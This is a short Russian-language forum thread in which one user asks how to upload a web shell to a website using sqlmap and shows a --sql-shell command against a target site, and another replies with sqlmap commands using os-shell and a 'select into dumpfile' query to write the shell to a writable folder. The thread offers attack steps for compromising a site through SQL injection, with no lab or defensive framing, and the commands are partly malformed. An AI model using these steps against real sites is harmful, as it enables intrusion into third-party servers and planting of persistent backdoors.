sqlmap shell

[Groove]

Подскажите как залить shell через sqlmap ?


sqlmap.py -u https://site.ru --random-agent -f --dbs --tables --sql-shell

Выдало


[12:59:52] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Что делать дальше? Если можно прям подробно )

[BabaDook]

↑ (https://antichat.live/posts/4323277/)
Подскажите как залить shell через sqlmap ?

sqlmap.py -u https://site.ru --random-agent -f --dbs --tables --sql-shell

Выдало

[12:59:52] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Что делать дальше? Если можно прям подробно )


Ну, первое sqlmap.py -u https://site.ru --random-agent os-shell дальше указываешь архитектуру, и путь до папки записи.

или если твой вариант sqlmap.py -u https://site.ru --random-agent --sql-shell "select into dumpfile '''путь до шелла'"